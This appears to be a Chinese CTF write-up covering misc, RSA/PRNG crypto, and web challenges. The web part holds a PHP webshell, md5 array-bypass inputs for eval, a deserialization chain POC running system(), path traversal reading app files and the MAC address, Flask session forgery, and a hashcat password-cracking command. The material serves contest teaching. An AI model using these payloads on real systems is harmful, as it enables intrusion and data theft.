MISC
签到
文件夹名字
QLNU{peng_you_men_juan_qi_lai}
找不同
❝
提示:双图盲水印
❞
题目给了两张看起来一样的图
搜索双图盲水印可以找到BlindWaterMark
项目地址:https://github.com/chishaxie/BlindWaterMark/
这里有python2和python3的两个脚本
因为python在升级版本的时候,将random库重写了算法,所以两个库的效果是不一样的
python2 /root/ctf/BlindWaterMark/bwm.py decode 3.png 4.png flag4.png
得到flag
看不清的推测一下 BWM确实很难看清,flag也是这个意思
QLNU{BWM_hard_to_see}
简单流量
本题是蚁剑流量,用蚁剑命令执行,zip命令压缩,然后下载
属于这两年最常遇到,也就是最简单的流量
例如:「2022DASCTF Apr X FATE 防疫挑战赛 - SimpleFlow」
可以搜索做一下试试
追踪tcp流,这样可以比较清晰的看一个TCP的通信过程
红色的是请求包,我向服务器发起的网页访问请求
蓝色的是响应包,服务器发给我的请求的响应
这里上面就是蚁剑链接后发送的数据了
特点是url编码和base64
看到tcp第6流
这一条是我们的命令,去解base64
发现是一团乱码,因为前两个字母是多余的,要删掉
这样就得到了蚁剑发送的命令
最后一个流 tcp10流
可以看到压缩包的PK头,选择原始数据
找到504b0304,选中复制
010新建16进制文件,然后把复制的这段作为16进制数据粘贴
快捷键ctrl+shift+v
保存重命名为zip
或者用binwalk -e flag.pcapng
也可以得到压缩包
打开压缩包发现是有密码的
回到流量包里找密码
在tcp第8流
删掉前两个字母
找到加密zip的命令,密码是 G0od_paSsWoRd
解压得到flag
显而易见
❝
什么,下载就能看到lo0k_me.jpg? 不好意思放错附件了
❞
flag_in_here.zip是伪加密
将deFlags标志位改成0即可正常解密
jpg是不能lsb隐写数据的,因为他是有损压缩
当然不是很精密的数据也是可以的
图片下面有很明显的留白
stegsolve可以看到提示
本题使用的是steghide
建议在linux下使用,比如上学期装的kali
安装方式
apt install steghide
去网上也可以找到windows的压缩包
steghide extract -sf lo0k__me.jpg -p wo_jiu_shi_mi_ma
得到flag
找图片
❝
hint 7位数字
❞
hint.txt中
%E5%AF%86%E7%A0%81%E9%9C%80%E8%A6%81%E7%88%86%E7%A0%B4
是URL编码,解码得到
密码需要爆破
docx有加密
如何爆破docx,百度搜到的结果中推荐使用hashcat
[hashcat]https://hashcat.net/ - World's fastest and most advanced password recovery utili
参照「吾爱」论坛
https://www.52pojie.cn/thread-1578758-1-1.html
office2john.py的代码下载
https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/office2john.py
python office2john.py office2john.py 细节决定成败.docx
得到hash
细节决定成败.docx:$office$*2013*100000*256*16*96e0cea33c94d4da946330ec7f2b1365*ea07e5fa882e2c258a2edd79580d22f1*07d4aa4672c59dc93f0f379f6d20bf4019a5b0a56501d9bca4452d0fe89f66aa
然后使用hashcat爆破,根据wiki查询https://hashcat.net/wiki/doku.php?id=example_hashes
得到hash的类型的9600(office2013)
hashcat -a 3 -m 9600 $office$*2013*100000*256*16*96e0cea33c94d4da946330ec7f2b1365*ea07e5fa882e2c258a2edd79580d22f1*07d4aa4672c59dc93f0f379f6d20bf4019a5b0a56501d9bca4452d0fe89f66aa ?d?d?d?d?d?d?d
得到结果
3322583
进入word,flag在这张图片下面
左右翻转即可
摩拉克斯
❝
Authored by:d3p4
❞
我看大家看这题的人并不多,也没有在这题上浪费太多时间(姜文文别杀我),这题其实出得有些不怎么成功,顾题目名思义,这题的考点是摩斯码,前面套了一些比较基础的知识。但是前面的套娃把大家给劝退了,并没有让大家体验到这题真正想让大家学习的考点,把题目过程给大家写一下,可以看看自己卡到了哪步
帝君的谜题1:
txt是一个零宽隐写,把txt里的内容Ctrl+A复制下来解密
https://330k.github.io/misc_tools/unicode_steganography.html
点Download Hidden Data as File,就可以得到下面这么一张图片
放大观察一下,应该不难看到这么一行
;);a+:.B.U9mT,n=]S.<9l2S1:.7Wi<)mU';-6.aA6*YJ<E):@:0(7i<Gk-E@9-97@Vmhs<c[(@r610;FG1Q9l+KC=%?"g@W#^n=_gWC:K1&7<(:4;_q-n@ouVr:.RiR;atFsAQVE8AQWVB@r6H^<S&u:01=OA6<M`9km.$;);lW@RWmX@;@`%;a`rG<`aB0<m$f@7N1FA6!/Z;cRd)AQLl[@TYoR;/9]8@Rs6J<&.3a@9%Ms9mTi]:.70X=%?qG:2ENr@9>rR=)M&b:K9ka@TID)<CC"^ASu$K@n''Z;ce3[@<uTe;/B5e9it/(AOU]C=&rfc<AA;u<('G9=)C]5:K1A6A8O&I@;KaR;as&t<`W*j;FEiI<bleo<&-pO<`i*O<d]W9h/[email protected]<Gk]O;_qp-;cQji@9?9*:,>43:/u7A>&-kkA4CN,@VTRo:.KPM:,5^8;cZd`@5C5<ASc.,=]]Q@;HIor<c2)S:01=`ASkUM;F``@9h.3Z@r,=j<_,t;FF8J;_pm!@PVnH:Id96A4C)e9l2mf;ep;-:KLON:,6?n<%q@!:IJ);JKB=@kpMh<&%p";akqV<_,r0;cH@F9h/`>@Vf4j=)E%uA4:$(@VCi<(1>"=][=9@r#aL9gqK,:.R]hA63h/<bbVhA27=d=YOeL;clpq9efOL@n'3c<A6:)@kr"&:.KD#:,5[%ASlO6@96?%<)d"E;DL7X=_q,R@r#Ur9l4'N:,$3Z=&j?cA4:$%;H51@5']3<^g%g;DW,c:I].f=)L>Z=`.(n9l=W<AOp?8<^]Q$AQNti;F`H0;--529h8ql>#ng1<c)eoA8Gp;=)Cei:IS#M@n1K==%>l%>"(GOASZO/9iP;9;akMD=]K!Q:2E@F<*)gm;HQsS<GkBS;en7,@96SgA85.E@7XQs=]JW_<&/,V<AH:'<)mIJ@r$$e;DC`s=Yb(T@;K+^@P_%@=`%Yn@oY6e<E31H<EE^6;atGD@97D;<bb3P<*)ss;H.=+@oYujA5l;oASuI)>&.Y,<mp)@TRA:9h0#A@r4)E;_paS:K:;$;-6FJ;FbOW9h-ln9gif=@o[>!@Vp0B=YWKl=)MPh@PTrA<(08n;cm($;FjM;@T?GbAOUQ5@RtH/9ef?s;H-8(>#eI>AOK^"=__V*<E2Xj9l"Bf<c1ZQ@ombH<GY-&:KM(!@Veq>@PL2B>";/1AOUQ];);`M='&pO9e^cH@odP(@VoXH<bkla=&qe3<,?2&@ol8o<GbW4<-giT>&@G`<(9VP<GYo@msOG=YN`EAOU]Y:,>@2<EMS.ASP7c<bcGR:IJkd@PDnI<GYE$=&qpmAO^W<,,#r;,h'r9km:@<S2j<AJ>G<CC@t<-hSE=YWfMA27":@n:Q?@TGrn@T[,d:2WBc<REk:.JJS@5:kO9l3X+A4K[?;_i<#A5m5c>"27X>&@:q<&/Pp@9#oTASP7a>";%[:,4Or@oZ9H@oR8A;(us5@kr:-AOK.8;b'GN9km9n;JTcg=)0[.:/jP=&h7p@<uR3;-6,09h-p4:In?/;L3"j;(tmI=aEDC@Rt!R<)u=R;/S^$@74dKA27%<;cHLl<bk;`<&7QR=]<S@Rt#d;Jf9VA5l0!<_-CqA5l#m@;KU[;/Bo;;b'H$A48s^@Ra6t=u&*P<(0i,<GH&j9il!b=&i!_>&%P)<CT`(:0'p<CJVs;f4op:2X`?>#n*Z<CoMAOo[B=]T?S<E31G;_WGb>"1i!9eoIFAOTUC:K9tA@51ea<E<9@V]q%=)MhD@qoOT;D:^<@97Dd;):["=)BrU;__p2@;Ab4<CB9%9ib7N@V[tq<`ET`@RW,";J]6R;DV'm;f5c*;JeF3<dJFf=_ptoAOgQ;<CgYF9eo0p@qo[@9$uY<mKh@n0QR@kq&/AQDQ0=)2nG@l%qI=Yaem:01&&<*3$VA84_M>&/(L=YOAc@od(r<(L"F:0']"<_.1G@n0BR<(Ao*@khLt>!u,(@5D(fA5lT,>'b!A@p!D4<*+0"<^p,';)2-.<``fi<GY-L@TR50<^gOn@r5C,@PVJ3>$!RO@T6*J<c(Sc;0P/d
根据hint:base家族,慢慢试,有这么几层base
base85,base64,base62,base58,base45,base32
解码得到
\]]]]]\]]]^\]]]]\]]]]^]]]]]]]]\^\]]]\]]\\^]]\\]]]\]]^]]]]]]]]]^]]]]\\]]]]^]]\\]\]]]]]^]\]\\]]]\]^\\]]]]]]]]]]^\\\\]]]\]]^]]^\^\\]^\\^\^^]^]]]^]]^\]^]]]]^]\]^]]^]\\^\\]^]]^]\^]]^]^]]]^]^]\^\]^]]]
再rot47得到一串摩斯码
--..-...--.-..-/--...-.--..-..-/-.-...-.-..-.--/--..-.--.-.----/-..----...--.-./-.-.-...-..-.-./-...-.----..-..-/-..----.--...../-.--.----...--./----..........-/--------...--.-./-.-./--/----./-----/--/-/-./..-./-../--./..../.--./-.-./.----/----./../-.--/-..-/-./.-../-./.---/--.-/-...-
解码后又是一串base64
cm90MTNfdGhpc19iYXNlNjQ=
解base64得到rot13_this_base64,于是rot13即可得到压缩包密码
pz90zgasqtucp19vlkayawd=
解压得到第一个摩斯码的考点
参考这个图(来源:http://114.xixik.com/morsecode/)
手抄得到(当然也可以根据红_黑.的规律抄出摩斯码再解密)
由于摩斯码不分大小写,很容易想到这是一个base32,解密得到第一段flag
QLNU{Morax_5ays_M0rs3_
帝君的谜题2:
压缩包里图片拖到010里发现里面藏了一个zip文件
分离出来得到一个带注释的压缩包,real_puzzle.zip
压缩包密码:b0fb753d65fbe9914222ec7e625a3974
得到一个gif
三种状态分别对应摩斯码的- . 和分隔符
用stegesolve或者别的什么gif查看器逐帧查看然后抄出摩斯码即可
(这里其实想再考一个摩斯码中的短码,也就是中文电码,具体可参考
https://mosimima.hwcha.com/)
解码得到后一段flag
c0de_1s_int3reting~}
QLNU{Morax_5ays_M0rs3_c0de_1s_int3reting~}
CRYPTO
密码1
# 导入flag和bytes_to_long函数
from secret import flag
from Crypto.Util.number import bytes_to_long
# 将flag转换为长整型
m = bytes_to_long(flag)
# 输出转换后的长整型
print(m)
# 2191791638908840156765536270892615890049122589128917876054775676626045
# 输出结果:2191791638908840156765536270892615890049122589128917876054775676626045
exp
# 导入long_to_bytes函数
from Crypto.Util.number import long_to_bytes
# 将flag还原回来
flag_bytes = long_to_bytes(2191791638908840156765536270892615890049122589128917876054775676626045)
# 输出flag
print(flag_bytes)
#b'QLNU{Welcome_to_Crypt0_Wor1d}'
❝
本题 以上部分 注释和解题脚本完全由ai生成
❞
关于这部分,在寒假最后一次课讲过
详细的讲过这两者的转换关系
文档里也有
http://note.shenghuo2.top/01RSA%E5%9F%BA%E7%A1%80%E7%AF%87/P99%20%E9%9B%B6%E6%95%A3%E7%9F%A5%E8%AF%86%E7%82%B9/#_2
密码2
这题是考了两个考点,都是模板,在文档里都有,寒假也讲过
第一组 e=3
低加密指数攻击
http://note.shenghuo2.top/01RSA%E5%9F%BA%E7%A1%80%E7%AF%87/P09.%E4%BD%8E%E5%8A%A0%E5%AF%86%E6%8C%87%E6%95%B0%E6%94%BB%E5%87%BB/
第二组 e非常大
wiener(维纳)攻击
http://note.shenghuo2.top/01RSA%E5%9F%BA%E7%A1%80%E7%AF%87/P08.wiener%28%E7%BB%B4%E7%BA%B3%29%E6%94%BB%E5%87%BB/
「exp」
import gmpy2
import libnum
def de(c, e, n):
k = 0
while True:
mm = c + n*k
result, flag = gmpy2.iroot(mm, e)
if True == flag:
return result
k += 1
n1= 17794322651985244360398798297236427197573099919777514390150548716043011554909472386538419547646479217198212860392441088306482436079057597017673282668575104805696280644632851112533403306674446415017207139655032895492883126061112607345051218406669295154148958166274223016727551462902566417623047515071725277952574163061484432382823360998093917106149223318057791276272014868197026724133570608265590284050526460086825829070086760617092472050523406342180114072290933789764539189990961852638276421000034476472644757648042472764152115642143975454219099357466733210241984509297458075644727434818666677787414405014312485796877
e1= 3
c1= 1677407691835378198546657984223033477067493258850917927258352885520853732106150834607491649923038875268749604055578354093790916134845045758103489513761
m1=de(c1,e1,n1)
print(libnum.n2s(int(m1)).decode())
import gmpy2
import libnum
def continuedFra(x, y):
"""计算连分数
:param x: 分子
:param y: 分母
:return: 连分数列表
"""
cf = []
while y:
cf.append(x // y)
x, y = y, x % y
return cf
def gradualFra(cf):
"""计算传入列表最后的渐进分数
:param cf: 连分数列表
:return: 该列表最后的渐近分数
"""
numerator = 0
denominator = 1
for x in cf[::-1]:
# 这里的渐进分数分子分母要分开
numerator, denominator = denominator, x * denominator + numerator
return numerator, denominator
def solve_pq(a, b, c):
"""使用韦达定理解出pq,x^2−(p+q)∗x+pq=0
:param a:x^2的系数
:param b:x的系数
:param c:pq
:return:p,q
"""
par = gmpy2.isqrt(b * b - 4 * a * c)
return (-b + par) // (2 * a), (-b - par) // (2 * a)
def getGradualFra(cf):
"""计算列表所有的渐近分数
:param cf: 连分数列表
:return: 该列表所有的渐近分数
"""
gf = []
for i in range(1, len(cf) + 1):
gf.append(gradualFra(cf[:i]))
return gf
def wienerAttack(e, n):
"""
:param e:
:param n:
:return: 私钥d
"""
cf = continuedFra(e, n)
gf = getGradualFra(cf)
for d, k in gf:
if k == 0: continue
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) // k
p, q = solve_pq(1, n - phi + 1, n)
if p * q == n:
return d
n2= 28764801891789630496158814107080280277129502361885222750082931951763197520627874705493345391184359108052978734919530375982818388373339206160218665275185601487103229570607819926113211153276542794365361104430082886339857276733492860339158729793976251480644019363618395047922069151455888530980320799065099543029094821092174328932901892049723862108644692248879129903763321885608879912420989261553280584980567748492711574994986214234350421900028706698190893297507027399412244052287754949432571827799437153212833094683689783752996417279952432942753568479754941623066905711324867955960167005070199455435147452836309126906689
e2= 704703041144161577012087456962842558336673764999654897668687010636927707025602054444354219778297700025759519613233509979555365795481578339351421529962881828041145966504800164692212600548676492959357409580016951536391396052780299206338725968939324161070771908294718717256193742456675415335048405717976288953597614820809458361599091353315706929802591235336969094270784765619059768027279430682498525232895575015433173059620825639441417362939309239535120311284043598713270951064688241406088374817444860613773911719770085809168462743751201411017304148214621214323182377222124862116850365217134192566868062790147116360325
c2= 3866285343510070083843161056507294375390716979334211957925424967972852907319726974524439549790432648684090478346561160514189492737204174375363568105167990348408074584350091709078165069987747442114703962691664627250544741977495737664347880190406218395917102999140628020486151094186478587531410396120883481857200470129442887105515526164873980943607492720026927216851742181529233646089914113373499946092277370990871673101990023285241588799357977463021397782746204431918110203057893107358565558349933724569763816796275443109700621987152070902253447675368970939979877470783869101009631358741569724263427019402694253315975
d=wienerAttack(e2, n2)
m2=pow(c2, d, n2)
print(libnum.n2s(m2).decode())
# QLNU{e57885f7-bb8e-4a
# 32-95a3-8d053e0d0764}
密码3
p = getPrime(1024)
q = getPrime(768)
hint = p**3 + q**2 + 647**6 + 653522531*15 + 9
p远大于q,所以远大于
所以p的远大于其他的和
所以hint近似于
对hint开三次方根
p = libnum.nroot(hint,3)
求出p,q=n//p
然后正常解
import libnum
e = 65537
c = 71006103372412044312819415754890236591010667290476171732849891031154161413755756389800031863634501968018973467994336921863576045927865057620110276133007713394607890961299688961072344705219549236488634012357200622261985508555546257123851675662932077761718811343763329757348379337874687284169335699712263079874026606077256470412455955555001948525310460766417311320754027857069001783963330608415206416087008625618806534900951705480932603981460028570259100040394319693229444019729643289680350720405041972843156579023545489559211823014364723365
hint = 763988131420320188479892287267696489693396898988105285846900692836754599870159523586378097011331586604180594063858628653160374239087049720173273678997338656365290709175007462308792914764526938138682615513678977756046442022565426509529058163085713367064159219029236072276269919500619494538505141786746087592664650756173248773382978137789826117651006728629279458560271573846908938345822453005130071054010616749156629583078397037500477872504767682172353097156891520577850342314503906130598715529966031568908756077232337382426632008061010900144961139303263727332977956017214420922179906897445364947617712539526290564738019842221362720681462392443568054084727743685697670839411948419531440915662698528122732843223199635984625606055022505075833481655072423339796902426998391099759213144574465170323947529123968023330138074183035345449975498762386946018715765891508629051064752285064503821804187068577224459514916723382079436021471
n = 105361355921951406643065722436313111246476986934021086173449727693279893065728667917709118878188948228194465347089170930695097516066620270901945303316964510010107090704402489648436400663026405879196957932589771399882776268958933339208259789349792421639569172020234415156529867093982373273980906179294820018512047476786638890884024189564528513736425987699351218749032372724008052769632106170152224310382368197368520228134396942550906922599026196447360906637679928259938669021204162648957102935522653270640038794869782779949024288669057427837
p = libnum.nroot(hint,3)
q = n//p
phi_n = (p-1)*(q-1)
d = libnum.invmod(e,phi_n)
m = pow(c,d,n)
print(libnum.n2s(m))
# b'QLNU{That_ca1culaTe_re4lly_Ea5Y_alright}'
密码4
MT19937是一种伪随机数生成算法
https://zh.wikipedia.org/zh-cn/%E6%A2%85%E6%A3%AE%E6%97%8B%E8%BD%AC%E7%AE%97%E6%B3%95
具体知识不写了,看帖子吧
就是通过产生的随机数,反过来预测下一个随机数是什么
from mt19937predictor import MT19937Predictor
from libnum import n2s
from Crypto.Util.number import *
randoms = [69494122992847985131791583587, 24568062113785647048480896003, 41652813827472285640545082363, 3407136094624725434446715557, 17892789640997180701858248241, 7299920758829639677668177150, 57796936278983157707260890620, 54435419559526315458151506498, 12450850507797884636726734383, 15625687034760672250002515126, 12319683515607935170654350625, 32685996718780649746592912554, 62152164707108582568263355586, 30674201523977022391084124421, 23896141425401221992404027854, 32825990855940326166101630628, 4767032923062683915008628268, 75883549641134747464544736039, 34931240865173369024415279436, 78113167145841392475907752287, 67923991325476394130485988564, 20859233314212792510082969047, 77667788904369960702807604057, 15609153066349662957832289538, 13155412521531956666215944913, 38406091501212356123511066373, 20392179881620241133410030636, 46106091517815436252433734178, 74970299290294921433379056212, 76725230083896333221475427943, 64363881964384071468011324951, 76188939041971957112468187259, 67541699952265594745557317998, 19128772044969361016915837717, 76466257256661282768535234947, 57838382151690210330182699420, 10763390053424211956075269229, 46590650171925582628493357734, 57632855389753883929026207222, 23592944862535946375192013299, 57609670665321324194471356259, 75966106323676688466201872395, 5349544754413197271770777019, 18930818111107120562485790915, 70394031414905820249089349714, 68648652697091446356349960971, 53286192075871312078694382714, 70997656378390685381218752396, 75844046618760205824098397276, 40059110718716873749720376698, 52076457043431168578566241185, 52387453651242135114632518717, 13711548060451565723437926668, 36731247690685313014943577154, 38588246886739658101247871384, 74115476529022551867366040216, 38159820519146094086675068632, 8099776763745185241880301562, 67527242976632439164942554323, 65855113871971848016784555533, 78320962365884616738046802370, 15439103179115961161857079310, 44646218894437153339736085329, 47008531133431089117319120957, 11439142416150675480191404456, 52379957529796566288424089582, 33482454285867963731965303119, 55463181983391195768389697438, 53361243636473164076577065604, 24516123633830790106368753820, 19649631183187915802546086578, 54584542832073290443563797095, 25874317620721163294847018977, 23232157532435868635391154673, 18243406567157053255507690693, 78972830205541156442298608516, 66833250193851083044066130417, 16693755579042706012085762224, 60807377836421144598926027124, 68607595762918723828688090902, 42005017408376371664606270547, 229969671756096617936917799, 9970837634807144546668284476, 38845253483333652465605333575, 67568817613385493680331762205, 8439602000926344652348190386, 12112587079492579316329533444, 64664502372543131642079776607, 35024959803514154871511772424, 13470032650814642668305098986, 49746123132025507696199562533, 20527086545058438221758810859, 3068631739148563538462196102, 62399188462856098503205911145, 76166673314689201123826249088, 38407729208193103899353204349, 42572731351062726909935296192, 6665198477259094542800748583, 21129285327284384667998852534, 15616135812162643825966992989, 23145909795904748014492232706, 74267017413651100514135190073, 8585443593265415317136018458, 9708652762218791616590032159, 11328277203036934817160688190, 38419309940179410817238513652, 44365989648877189439319035383, 22121324176243919034568514110, 68827453436008854641780279843, 57932741510283598537368328834, 69865790003616342327694648979, 78517611438218181477278958788, 64834435929320116720073064322, 73564930603710028600715916852, 65973137688219405563275573243, 31195173600840648199463255541, 2101986286255932639665233380, 21395314317561060813572779210, 47766923467784527401424801358, 4789510051235493502889621801, 19329281072618415154238018594, 77890734657980691307280660576, 71528428676239903940099023797, 76674424985386700987447684627, 4844716429961904474296611251, 27817822973696944888810290252, 72271220080437585055086649681, 69587105751568202562931513761, 52287074213863842913875690989, 2963992344542795225453125134, 6414808297286836634220550327, 53851175947359900104975848155, 78371114068315324594777184646, 33021623868313311222950215675, 50548295768153160563629330336, 33872522604430761096964292160, 39284465715823561108697668407, 27563278050708931903098865441, 70584628901313193480205096870, 3544305562843971391537974073, 18306588029679509443012656388, 59422455210224911146984908022, 47937902011932726028402744776, 23700743373112723085139018582, 11216633687348884031692084772, 56130589401490579466493075654, 28752610877073350438862204410, 40971231841101238659579287101, 57560951894955404623286062208, 22960117008650560293180469829, 43275973734934566518819630346, 24882201713398620023452428301, 45565078930289848338822551797, 74236542182515469205544280074, 74044023131277959440439674494, 35778988330057435446894343249, 5726806296840557366480794436, 11499695430908163960583721991, 77970763384320237785983644201, 57521442564604799194229483192, 1647709058260439900558200064, 7587490804212277017650743994, 74039522304947805077474231527, 68499404471205200436480427038, 71206926943567888244858400484, 55581282411731873270151842022, 44747007308040316206068453471, 68477905936378281391611876681, 30879243115048481384786970043, 50108124038132815469490613613, 42465630733495132803171967852, 42119952540731198111526375292, 7434057698509188003164855812, 70697425159202450985671982289, 72985403569117889293417494556, 60662340649550671176106954659, 34597325524698645268382041800, 55270421983685350966789192607, 8636426232634565691787450265, 5949560660050177871870256195, 73148584557256330002589508985, 27649584688529976100745257201, 35027580499395332849625591095, 52380400694298571763893425079, 30887821410974717386662419, 58360994372771988429821200199, 11624067198512275632305633773, 69563975396782250224985414735, 19379923418537422198930595971, 37466177419810505849462545483, 69399385781116347434116162750, 73173271814319215819455133041, 25775084546584085632917911246, 42356679828526971028546350980, 72469502559967260907274302408, 50730944990507315552568607636, 36442957859664526007730711832, 51432240417636113051086901863, 42511753207987587540840334701, 41010893578884170198962586927, 74266514776227141044572690991, 4468825075802105368070765418, 58728890289485089242801540696, 6082059383318448296374335120, 71293091157091096580239876935, 31591247635776025153086501537, 75218427617368138563784588555, 75897251007857426638618560684]
cipher = 5580212607621476290226526036514331047250612905777585247208052106485701396258674075941148671608712982273958056723730143463612590928077625356928796822182633
pt = MT19937Predictor()
for _ in randoms:
pt.setrandbits(_,96)
x = pt.getrandbits(512)
flag = n2s((x) ^ cipher)
print(flag)
print(((x) ^ cipher).bit_length())
# b'QLNU{PRNG_MT19967_a1so_dangEr_with_lo0O00ong_num6er_5equenCe}'
WEB
web1
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
if($_POST['a'] !== $_POST['b'] && $_POST['c'] !== $_POST['d']){
if(md5($_POST['a']) == md5($_POST['b']) && md5($_POST['c'])===md5($_POST['d'])){
eval($_REQUEST["QLNU"]);
echo 'success';
}
echo 'nice';
}
md5的强弱比较,百度一大堆,直接数组绕过即可
a[]=1&b[]=2&c[]=3&d[]=4
之后就命令执行,$_REQUEST
传参,就跟post
和get
传参一样
cat /flag
后在源码中找到flag
web2
源码
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<form enctype="multipart/form-data" method="post">
<p>过滤了吗?<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
</html>
<?php
@error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['submit'])){
$file_name = trim($_FILES['upload_file']['name']);
$black = array(".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx");
$file_ext = strrchr($file_name, '.');
$name = pathinfo($file_name, PATHINFO_FILENAME);
$encode = base64_encode($name);
$file_ext = strtolower($file_ext);
if (![]n_array($file_ext, $black)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = 'upload'.'/'.$encode.$file_ext;
if (isset($temp_file)) {
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
}
}else {
$msg = '再好好看看';
}
}
if($is_upload){
echo '上传成功';
}
?>
这题主要审计代码,主要的几段代码
$name = pathinfo($file_name, PATHINFO_FILENAME); //获取文件名 比如上传1.php,$name就是1
$encode = base64_encode($name); //把文件名给base64加密 也就是把1给加密即:$encode=MQ==
之后的if语句就判断后缀有没有在$black
中,如果在就输出再好好看看
没有的话就上传成功,而在$black
并没有php
,所以可以直接上传php
$img_path = 'upload'.'/'.$encode.$file_ext;
这一句就是把文件放到了upload/
目录下,文件名被改成了MQ==
,后缀是$file_ext
,这个就是获取的上传文件的后缀,就是php
分析完之后就直接上传一个1.php
文件里面写
<?php @eval($_POST['attack']);?>
显示上传成功,
之后就找路径和文件名就行
我上传的是1.php
,1 base64加密后是MQ==
,所以路径就是/upload/MQ==.php
web3
post传一个a后就会显示源码
<?php
error_reporting(0);
class Q
{
public $q1;
public function __invoke()
{
$this->q1->Q();
}
}
class L
{
public $l1;
public function __destruct()
{
echo $this->l1;
}
public function execute()
{
($this->l1)();
}
public function __call($a, $b)
{
echo $this->l1->getflag();
}
}
class N
{
public $n;
public function __toString()
{
$this->n->process();
return 'good';
}
}
class U
{
public $u1;
public function process()
{
($this->u1)();
}
public function getflag()
{
eval($this->u1);
}
}
if (![]sset($_POST['a'])) {
echo 'post一个a';
}else{
highlight_file(__FILE__);
unserialize($_POST['a']);
}
典型的反序列化,看一下魔法函数
__construct() | 构造函数:具有构造函数的类会在每次创建新对象时先调用此方法。 |
---|---|
__destruct() | 析构函数:析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。 |
__destruct() | 对象被销毁时触发。 |
__sleep() | 执行serialize() 时,会先调用这个函数。 |
__wakeup() | 执行unserialize() ,会调用这个函数。 |
__toString() | 把类当作字符串使用时触发。 |
__invoke() | 当尝试将对象调用为函数时触发。 |
__call() | 在对象上下文中调用不可访问的方法时触发 |
__get() | 用于从不可访问的属性读取数据或者不存在这个键都会调用此方法。 |
__callStaic() | 在静态上下文中调用不可访问的方法时触发。 |
__set() | 用于将数据写入不可访问的属性。 |
__isset() | 在不可访问的属性上调用isset() 或empty() 触发 |
__unset() | 在不可访问的属性上使用unset() 时触发。 |
其实反序列化很简单就是一步一步走到你要利用的函数,比如这个题我们要利用的就是U
类的eval
函数,因为只有这个函数才能命令执行,倒着来看就行,eval
在getflag
函数中,找那个类里调用getflag
,找到在L
里的__call
方法调用,再找哪里调用了__call
,
==__call() 在对象上下文中调用不可访问的方法时触发==,Q
类中的__invoke()
调用Q
方法,但没有Q方法就触发__call
,之后找触发__invoke()
的,==__invoke() 当尝试将对象调用为函数时触发。==,在U
类中的process()
方法把u
对象当做方法来调用了,就触发__invoke()
,之后再看怎么调用process()
,在N
类中的__toString()
,在对象n中调用了process()
,再找哪里触发__toString()
,==__toString() 把类当作字符串使用时触发。==,在L
中echo了对象ll,一般字符串才可以echo所以触发了__toString()
,之后找触发__destruct()
,==__destruct() 对象被销毁时触发。==,他可以自动被触发,所以一整条链就完成了
❝
__destruct()->__toString()->process()->__invoke()->__call(b)->getflag()
❞
poc
<?php
error_reporting(0);
class Q
{
public $q1;
public $q2;
function eval() {
echo new $this->q1($this->q2);
}
public function __invoke()
{
$this->q1->Q();
}
}
class L
{
public $l1;
public function __destruct()
{
echo $this->l1;
}
public function execute()
{
($this->l1)();
}
public function __call($a, $b)
{
echo $this->l1->getflag();
}
}
class N
{
public $n;
public function __toString()
{
$this->n->process();
return 'good';
}
}
class U
{
public $u1;
public function process()
{
($this->u1)();
}
public function getflag()
{
eval($this->u1);
}
}
$a = new L();
$a->l1 = new N();
$a->l1->n = new U();
$a->l1->n->u1 = new Q();
$a->l1->n->u1->q1 = new L();
$a->l1->n->u1->q1->l1 = new U();
$a->l1->n->u1->q1->l1->u1 = "system('whoami');";
echo serialize($a);
?>
web4
页面是hello look点击look可以看到
重定向到了百度页面,hint给了源码页面
/read?url=../../../app/app.py
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello <a href="/read?url=https://baidu.com">looklook</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'flllag':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0",
port=80
)
session伪造(假的)
如果光读源码的话,其实伪造session
让username=flllag
,就可以,但实际上
但出于学习的目的,还是写一下session伪造
@app.route('/flag')
def flag():
if session and session['username'] == 'flllag':
return open('/flag.txt').read()
else:
return 'Access denied'
在这一段可以看到,如果session=flllag
,就会open('/flag.txt').read()
抓一下包,找session
session=eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZCEJ8Q.ViozlLPgrNPlU-frHVjZKTUp39c
放jwt解一下
base64解一下b就是源码上所说的
@app.route('/')
def index():
session['username'] = 'www-data'
www-data
目的就是把www-data
改为flllag
,改session是要key的,key的计算也给出了
app.config['SECRET_KEY'] = str(random.random()*233)
对于伪随机数,当seed固定时,生成的随机数是可以预测的,也就是顺序固定的,所以只要知道seed的值即可。这里的seed使用的uuid.getnode()
函数,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。
/read?url=..//sys/class/net/eth0/address
//02:42:ac:17:00:02
import random
random.seed(0x0242ac170002)
print(str(random.random()*233))
//2.64431321053
之后用工具flask_session_cookie_manager3伪造即可
解密
